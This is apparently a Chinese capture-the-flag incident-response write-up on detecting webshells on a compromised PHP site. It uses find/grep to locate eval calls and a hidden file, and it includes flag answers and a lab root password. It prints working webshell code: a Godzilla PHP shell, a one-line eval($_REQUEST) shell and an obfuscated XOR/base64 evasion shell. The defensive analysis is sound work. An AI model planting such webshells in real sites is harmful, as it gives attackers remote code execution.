文章目录
- 第一章 应急响应-webshell查杀
- 1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
- 2.黑客使用的什么工具的shell github地址的md5 flag{md5}
- 3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
- 4.黑客免杀马完整路径 md5 flag{md5}
- 利用工具查杀
题目简介
第一章 应急响应-webshell查杀
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
可以尝试搜索jsp、php、asp、aspx这几种特殊后缀文件,并尝试寻找其中的危险函数来查找webshell。
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
命令解析:
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.php"
:在当前目录及子目录下,寻找以.php
后缀结尾的文件。,输出其文件路径。xargs
:xargs会将前面所得到的文件对应的路径,传递给grep,并且让 grep 在每个文件的内容中查找。grep "eval("
:在文件内容中查找字符串"eval("
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.jsp" | xargs grep "exec("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./include/gz.php: eval($payload);
./include/Db/.Mysqli.php: eval($payload);
./shell.php:<?php phpinfo();@eval($_REQUEST[1]);?>
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.asp" | xargs grep "execute("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.aspx" | xargs grep "eval("
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
可以得到gz.php、.Mysqli.php、shell.php这三个webshell文件。
在gz.php
中,注释部分即为flag。gz.php文件内容如下:
<?php
@session_start(); //启动会话
@set_time_limit(0); //设置脚本执行时间限制为无限制
@error_reporting(0);//关闭错误报告
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){$data=encode($data,$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo encode(@run($data),$key);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
哥斯拉PHP马经典特征:
- session_start() 创建或者重启一个会话
- @set_time_limit(0) 设置程序最长运行时间 永远
- @error_reporting(0) 关闭错误报告
- $key=xxxxxxxxx 加解密的盐值
观察gz.php中前三行,以及key值,可以得知这是哥斯拉的webshell
Godzilla项目地址:https://github.com/BeichenDream/Godzilla
md5加密:39392DE3218C333F794BEFEF07AC9257
flag{39392DE3218C333F794BEFEF07AC9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
linux下的隐藏文件或隐藏目录特征:
- 以
.
开头 - 直接使用ls命令无法查看,需要加上
-a
参数 - 可以通过文件绝对路径访问
1、可以通过对比ls命令与ls -la命令的输出结果寻找这个隐藏文件
root@ip-10-0-10-1:/var/www/html/include/Db# ls -la
total 36
drwxr-xr-x 2 www-data www-data 4096 Aug 2 2023 .
drwxr-xr-x 4 www-data www-data 4096 Aug 2 2023 ..
-rw-r--r-- 1 www-data www-data 768 Aug 2 2023 .Mysqli.php
-rwxr-xr-x 1 www-data www-data 4752 Mar 14 2021 Mysqli.php
-rwxr-xr-x 1 www-data www-data 4921 Mar 14 2021 Mysql.php
-rwxr-xr-x 1 www-data www-data 4433 Mar 14 2021 Sqlite.php
2、可以通过搜索以.
开头的文件
root@ip-10-0-10-1:/var/www/html# find ./ -type f -name ".*"
./data/.DS_Store
./template/taoCMS/.DS_Store
./template/.DS_Store
./.htaccess
./include/Model/.DS_Store
./include/Db/.Mysqli.php
./include/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/img/.DS_Store
./admin/template/images/xheditor/xheditor_skin/nostyle/.DS_Store
./admin/template/images/xheditor/xheditor_skin/.DS_Store
./admin/.DS_Store
通过这两种方法都可以找到.Mysqli.php
这个文件
路径:/var/www/html/include/Db/.Mysqli.php
MD5加密:AEBAC0E58CD6C5FAD1695EE4D1AC1919
flag{AEBAC0E58CD6C5FAD1695EE4D1AC1919}
4.黑客免杀马完整路径 md5 flag{md5}
免杀马,要么做编码处理要么做变量嵌套要么函数调用要么类调用等等
php免杀马编码处理通常使用字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现。
可以通过匹配加解密函数来寻找,这里寻找base64解密函数base64_decode()
root@ip-10-0-10-1:/var/www/html# find ./ type f -name "*.php" | xargs grep "base64_decode"
find: ‘type’: No such file or directory
find: ‘f’: No such file or directory
./wap/top.php:$fun = base64_decode($_GET['func']);
得到top.php
内容如下:
<?php
$key = "password";//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
top.php路径:/var/www/html/wap/top.php
MD5加密:eeff2eabfd9b7a6d26fc1a53d3f7d1de
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
利用工具查杀
将/var/www/html
目录下的文件dump下来,这里使用D盾扫描。
扫描出的第二个木马gz.php
,其中的注释部分即为第一问答案。
分析gz.php
,根据前三行和key即可得知是哥斯拉木马流量特征,得到第二问答案。
扫描出的第三个木马top.php
,即为免杀马。得到第四问答案。
扫描出的第四个木马.Mysqli.php
,即为隐藏shell。得到第三问的答案。